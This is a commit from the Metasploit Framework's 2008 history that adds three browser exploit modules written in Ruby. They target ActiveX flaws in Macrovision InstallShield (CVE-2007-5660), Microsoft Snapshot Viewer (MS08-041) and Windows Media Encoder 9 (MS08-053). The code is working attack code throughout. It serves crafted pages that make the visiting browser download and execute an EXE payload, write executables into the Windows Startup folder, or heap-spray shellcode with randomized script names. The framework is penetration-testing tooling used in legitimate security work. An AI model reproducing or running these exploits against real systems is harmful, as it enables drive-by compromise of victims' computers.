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added exploit modules ms08_053_mediaencoder.rb, macrovision_unsafe.rb and 

ms08_041_snapshotviewer.rb


git-svn-id: file:///home/svn/framework3/trunk@5707 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2008-10-01 22:40:57 +00:00
parent 0f03e872f1
commit 67a25b6ce8
3 changed files with 309 additions and 0 deletions
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92
modules/exploits/windows/browser/macrovision_unsafe.rb Normal file
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Browser::Macrovision_Unsafe < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Macrovision InstallShield Update Service ActiveX Unsafe Method',
'Description' => %q{
This module allows attackers to execute code via an unsafe methods in Macrovision InstallShield 2008.
},
'License' => 'MSF_LICENSE',
'Author' => [ 'MC' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2007-5660' ],
[ 'BID', '26280' ],
],
'Payload' =>
{
'Space' => 4000,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = Rex::Text.to_win32pe(p.encoded, '')
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
content = %Q|
<html>
<object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
<script language='JavaScript'>
#{vname}.Initialize("#{vname}","#{vname}","","");
#{vname}.DownloadAndExecute("","",1,"#{payload_url}/#{exe}.exe","");
#{vname}.DownloadAndInstall("True");
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
end

100
modules/exploits/windows/browser/ms08_041_snapshotviewer.rb Normal file
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Browser::MS08_041_SNAPSHOTVIEWER < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
via the Microsoft Office Snapshot Viewer ActiveX Control.
},
'License' => 'MSF_LICENSE',
'Author' => [ 'MC' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'MSB', 'MS08-041' ],
[ 'CVE', '2008-2463' ],
[ 'BID', '30114' ],
],
'Payload' =>
{
'Space' => 4000,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = Rex::Text.to_win32pe(p.encoded, '')
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
content = %Q|
<html>
<head>
<script>
try {
var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
#{vname}.SnapshotPath = "#{payload_url}";
#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
#{vname}.PrintSnapshot();
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
end

117
modules/exploits/windows/browser/ms08_053_mediaencoder.rb Normal file
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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/projects/Framework/
###
require 'msf/core'
module Msf
class Exploits::Windows::Browser::MS08_053_MediaEncoder < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Windows Media Encoder 9. When
sending an overly long string to the GetDetailsString() method of wmex.dll
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-3008' ],
[ 'BID', '31065' ],
[ 'MSB', 'MS08-053' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Sep 9 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDetailsString(#{rand8}, 1);
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
end